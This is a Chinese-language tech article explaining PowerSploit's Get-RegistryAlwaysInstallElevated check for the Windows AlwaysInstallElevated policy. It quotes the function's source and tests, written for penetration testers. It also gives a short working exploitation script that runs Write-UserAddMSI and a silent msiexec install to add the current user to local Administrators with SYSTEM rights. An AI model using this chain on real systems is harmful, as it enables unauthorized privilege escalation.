首页/新闻资讯/正文详情

PowerSploit 权限提升检测:Get-RegistryAlwaysInstallElevated 注册表 AlwaysInstallElevated 漏洞探测实战

发布时间:2026/9/24 11:13:24 来源:云帆数科 栏目:资讯中心
PowerSploit 权限提升检测:Get-RegistryAlwaysInstallElevated 注册表 AlwaysInstallElevated 漏洞探测实战
PowerSploit 权限提升检测Get-RegistryAlwaysInstallElevated 注册表 AlwaysInstallElevated 漏洞探测实战【免费下载链接】PowerSploitPowerSploit - A PowerShell Post-Exploitation Framework项目地址: https://gitcode.com/gh_mirrors/po/PowerSploit导读Get-RegistryAlwaysInstallElevated是 PowerSploit 框架 Privesc权限提升模块中的一个注册表检测函数用于判断目标主机是否配置了 Windows Installer 的AlwaysInstallElevated策略。读完本文你将掌握AlwaysInstallElevated 特权配置的利用原理、该函数的准确用法与输出含义、其源码级检测逻辑含 HKLM/HKCU 双键校验细节以及如何与Write-UserAddMSI、Invoke-PrivescAudit联动完成一次完整的检测 → 提权操作。AlwaysInstallElevated让所有 MSI 都以最高权限运行的配置AlwaysInstallElevated 是 Windows Installer 的一项组策略设置。当该策略被启用后任何用户包括标准权限用户双击或通过命令行启动的 .MSI 安装包都会以 SYSTEM最高权限静默执行。这正是其危险所在攻击者只需将一个恶意 .MSI 包投放到目标机器并触发运行就能获得系统级代码执行。这一策略由注册表中两个值共同控制注册表路径值名称说明HKLM:\SOFTWARE\Policies\Microsoft\Windows\InstallerAlwaysInstallElevated计算机级HKLM策略开关HKCU:\SOFTWARE\Policies\Microsoft\Windows\InstallerAlwaysInstallElevated当前用户级HKCU策略开关按 Windows 官方策略定义只有当 HKLM 与 HKCU 两个值同时被设置为 1时AlwaysInstallElevated 才真正生效。这也是下文实现逻辑要求双键同时命中的原因。函数功能与语法Get-RegistryAlwaysInstallElevated由 PowerSploit 作者 Will Schroederharmj0y编写遵循 BSD 3-Clause 协议无任何依赖项Required Dependencies: None可在 PowerShell 2.0 及以上环境直接使用。Get-RegistryAlwaysInstallElevated该函数不接受任何参数直接执行即可。其返回值为System.Boolean类型返回$TrueAlwaysInstallElevated 策略已启用存在可利用条件返回$False策略未启用或相关注册表项不存在。使用示例在已导入 PowerSploit 模块或点源dot-sourcePowerUp.ps1 的会话中直接调用PS C:\ Get-RegistryAlwaysInstallElevated True当返回$True时表示当前机器上任何 .MSI 文件都会以提升后的权限运行与当前用户的实际权限无关——这正是本函数作为提权前置检查的核心价值所在。如需获取更详细的检测过程可结合-Verbose参数观察每一步的诊断输出源码通过Write-Verbose输出键值状态PS C:\ Get-RegistryAlwaysInstallElevated -Verbose源码级实现原理双键同时命中才返回 True函数完整实现位于 Privesc/PowerUp.ps1属于文件中 Registry Checks注册表检查功能区。其检测流程如下第一步隔离错误处理$OrigError $ErrorActionPreference $ErrorActionPreference SilentlyContinue函数先保存原始$ErrorActionPreference再将其切换为SilentlyContinue。这样即使目标注册表项/值不存在在未配置策略的机器上是常态Get-ItemProperty抛出的找不到项类错误也不会刷屏中断脚本函数末尾会恢复原始设置不影响调用者上下文。第二步检查 HKLM 策略键if (Test-Path HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer) { $HKLMval (Get-ItemProperty -Path HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer -Name AlwaysInstallElevated -ErrorAction SilentlyContinue) Write-Verbose HKLMval: $($HKLMval.AlwaysInstallElevated) if ($HKLMval.AlwaysInstallElevated -and ($HKLMval.AlwaysInstallElevated -ne 0)){先用Test-Path确认 HKLM 策略目录存在然后读取AlwaysInstallElevated值只有当值非空且非 0时才继续。可见源码对值为 1与值非 0 但被显式写出的情况都做了兼容。第三步追加校验 HKCU 策略键$HKCUval (Get-ItemProperty -Path HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer -Name AlwaysInstallElevated -ErrorAction SilentlyContinue) Write-Verbose HKCUval: $($HKCUval.AlwaysInstallElevated) if ($HKCUval.AlwaysInstallElevated -and ($HKCUval.AlwaysInstallElevated -ne 0)){ Write-Verbose AlwaysInstallElevated enabled on this machine! $True }只有HKLM 与 HKCU 两侧的AlwaysInstallElevated同时为真时函数才输出$True与 AlwaysInstallElevated enabled on this machine! 的详细输出否则在各级 else 分支中输出$False及对应的未启用提示如 AlwaysInstallElevated not enabled on this machine. / HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer does not exist。这一双键同时为真的判定与 Windows 官方策略语义严格一致也纠正了文档字面上 the HKLM ... or the HKCU ... keys are set 可能带来的歧义实际生效条件是两个键都已被设置。若策略只写了一半安装包并不会以提升权限运行。函数在模块中的定位与导出Get-RegistryAlwaysInstallElevated是 PowerSploit 的 Privesc 模块 导出函数之一见 Privesc.psd1 的FunctionsToExport列表模块最低支持 PowerShell 2.0。在 Privesc/README.md 中它与Get-RegistryAutoLogon、Get-ModifiableRegistryAutoRun一起被归类于 Registry Checks注册表检查工具集是常规提权审计的第一步。两种加载方式任选其一# 方式一导入完整模块Windows PowerShell 2.0 Import-Module .\Privesc\Privesc.psm1 # 方式二直接点源 PowerUp.ps1脚本方式含全部 Privesc 工具 . .\Privesc\PowerUp.ps1实战联动检测到漏洞后如何提权方案一结合 Write-UserAddMSI 写入添加用户的 MSIPowerUp.ps1 中专门准备了与Get-RegistryAlwaysInstallElevated配套的利用函数Write-UserAddMSI见 Privesc/PowerUp.ps1。其注释明确写道Writes out a precompiled MSI installer that prompts for a user/group addition. This function can be used to abuse Get-RegistryAlwaysInstallElevated.# 先确认漏洞存在 if (Get-RegistryAlwaysInstallElevated) { # 生成本地目录下的 UserAdd.msi该 MSI 将当前用户加入本地 Administrators 组 Write-UserAddMSI # 借助 AlwaysInstallElevated 策略以 SYSTEM 权限执行 MSI msiexec /quiet /qn /i UserAdd.msi }Write-UserAddMSI内嵌了一个 Base64 编码的预编译 MSI源码中的$Binary变量通过[System.Convert]::FromBase64String()解码后以字节流写入磁盘默认输出文件为UserAdd.msi可通过-Path参数自定义返回带OutputPath属性的PowerUp.UserAddMSI类型对象。由于 AlwaysInstallElevated 生效标准用户也能触发该 MSI 完成管理员账户添加实现本地提权。方案二纳入 Invoke-PrivescAudit 自动化审计Get-RegistryAlwaysInstallElevated也是 PowerSploit 全量提权审计函数Invoke-PrivescAudit的检查项之一见 Privesc/PowerUp.ps1Command { if (Get-RegistryAlwaysInstallElevated){ New-Object PSObject } }运行Invoke-PrivescAudit时若本函数返回$True审计报告即会将该机器标记为存在 MSI 提权风险方便一次性排查全部常见提权路径。测试与质量保证仓库测试套件 Tests/Privesc.tests.ps1 中包含针对该函数的 Pester 用例Describe Get-RegistryAlwaysInstallElevated { # TODO: set registry key, ensure it retrieves It Should not throw. { {Get-RegistryAlwaysInstallElevated} | Should Not Throw } }该用例验证在**未配置策略注册表项缺失**的环境下函数不会抛异常——这正依赖前面提到的SilentlyContinue错误隔离设计。源码注释中的 TODO 提示完整行为验证写入测试键后断言返回值留给具备管理员权限的测试环境补充这也从侧面说明本函数在无漏洞主机上应安静地返回$False而非报错。注意事项与局限判定口径函数返回$True的前提是 HKLM 与 HKCU 两个AlwaysInstallElevated值同时非空且非 0单侧设置不构成可利用条件权限要求读取 HKLM 策略键通常需要管理员权限在标准用户会话中若 HKLM 键不可读函数会因错误被静默而返回$False可能产生漏报审计时应尽量在具备读取权限的上下文中执行适用平台AlwaysInstallElevated 策略主要存在于 Windows 域/组策略管理的机器上个人工作站默认不配置合法边界该工具属于后渗透post-exploitation检测类函数请仅在获得授权的渗透测试、红队演练或安全评估环境中使用。【免费下载链接】PowerSploitPowerSploit - A PowerShell Post-Exploitation Framework项目地址: https://gitcode.com/gh_mirrors/po/PowerSploit创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

相关推荐

阿里云ACA云安全认证复习指南:从账号权限到日志审计的实战解析
阿里云ACA云安全认证复习指南:从账号权限到日志审计的实战解析

简介:这份资料面向备考阿里云云安全助理工程师ACA认证的考生,以及希望系统梳理云上安全防护思路的运维与开发人员。内容围绕云平台使用安全与云上服务器安全两大模块展开,涵盖IT架构演进、云计算三种服务模式、企业上云常见架构,以… · 2026/9/23 1:22:40

音乐网站大全进阶用法
音乐网站大全进阶用法

5个音乐网站后端架构对比,避开高频面试题坑 复制来的代码跑不通不知道怎么调?别慌,这不仅是你的问题,也是无数开发者在刷【高频面试题】时最容易栽跟头的地方。很多人对着 GitHub 上的 Demo… · 2026/9/23 1:22:40

CANN ops-nn 算子库 aclnnNLLLoss2d 接口详解:负对数似然损失(NLLLoss2d)的昇腾 NPU 计算指南
CANN ops-nn 算子库 aclnnNLLLoss2d 接口详解:负对数似然损失(NLLLoss2d)的昇腾 NPU 计算指南

人工智能算子库深度学习CANNAscend 【免费下载链接】ops-nn 本项目是CANN提供的神经网络类计算算子库,实现网络在NPU上加速计算。 项目地址: https://gitcode.com/cann/ops-nn 点击查看 免费下载 本篇技术指南以 CANN ops-nn 算子库中 aclnnNLLLoss2d 接… · 2026/9/23 1:22:40

Dopamine 中 C51 分布投影函数 project_distribution 的完整解析:Eq7 的实现、参数与调用链
Dopamine 中 C51 分布投影函数 project_distribution 的完整解析:Eq7 的实现、参数与调用链

机器学习深度学习 【免费下载链接】dopamine Dopamine is a research framework for fast prototyping of reinforcement learning algorithms. 项目地址: https://gitcode.com/gh_mirrors/do/dopamine 点击查看 免费下载 dopamine.agents.rainbow.rainbow_agent.… · 2026/9/24 11:13:23

A/B测试工具全景图:主流平台一览
A/B测试工具全景图:主流平台一览

A/B测试工具分企业级套件、产品实验平台、开源自建和内置工具四类;选型先定预算与流量规模,再看统计引擎与数据底座,别被名气带偏。你在做A/B测试工具调研,会发现名字一大堆:Optimizely、VWO、Adobe Target&#xff0c… · 2026/9/24 11:13:11

Linux GRUB2 配置与启动故障修复完全指南
Linux GRUB2 配置与启动故障修复完全指南

系统起不来时,屏幕上的报错往往只给出一句零散线索:Operating System not found、Give root password for maintenance。 本文按故障位置分成四类来讲:/etc/fstab 写错导致的挂载失败、GRUB2 配置的修改与加固、GRUB2 引导程序与引导文件损坏… · 2026/9/24 11:13:05

结论与贡献也要双版本烟测:三列表 + A/B 验收表
结论与贡献也要双版本烟测:三列表 + A/B 验收表

千笔-AIWritePaper https://www.aiwritepaper.com 结论与贡献最容易出现两种假完成:一是「贡献条很多」,但主张编号、证据锚点与可口述句对不上;二是结论写得很满,却从未留下「只会堆口号不核证据」的失败对照。claim—evidence—… · 2026/9/24 11:12:52

嵌入式轻量级智能体Agent-C:4KB C语言实现自然语言指令解析与Shell执行
嵌入式轻量级智能体Agent-C:4KB C语言实现自然语言指令解析与Shell执行

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 11:12:52

STM32F103C8T6 SWD烧录失败?四线物理连接是关键
STM32F103C8T6 SWD烧录失败?四线物理连接是关键

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 11:12:45

基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程
基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程

简介:这是一套面向计算机、人工智能、自动化等专业学生与教师的毕业设计级项目资源,围绕YOLOv8实现渔船作业监控系统,可用于毕设、课程设计、大作业或项目立项演示。压缩包共97个文件,约24.21MB,以70个Python源码文件为… · 2026/9/24 0:00:13

1D-CNN时间序列建模实战:从Conv1d原理到工业落地
1D-CNN时间序列建模实战:从Conv1d原理到工业落地

简介:面向时间序列数据建模的一维卷积神经网络完整实现,适合深度学习入门者及需要快速验证时序模型的研究者,能够从音频、文本、传感器或股价等序列中挖掘局部特征与时间依赖。压缩包体积很小,只有3KB,内含3个Python脚… · 2026/9/24 0:00:26

柔软的L:汉语语流中被忽视的舌肌张力控制
柔软的L:汉语语流中被忽视的舌肌张力控制

1. 这个“L”不是字母表里的L,而是舌尖上的L最近在几个方言群和语音教学社群里,反复看到有人发一句:“也说字母L:柔软的长舌”。初看以为是英语发音课笔记,点开才发现全是方言爱好者、播音系学生、语言康复师甚至戏曲演… · 2026/9/24 0:00:44

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码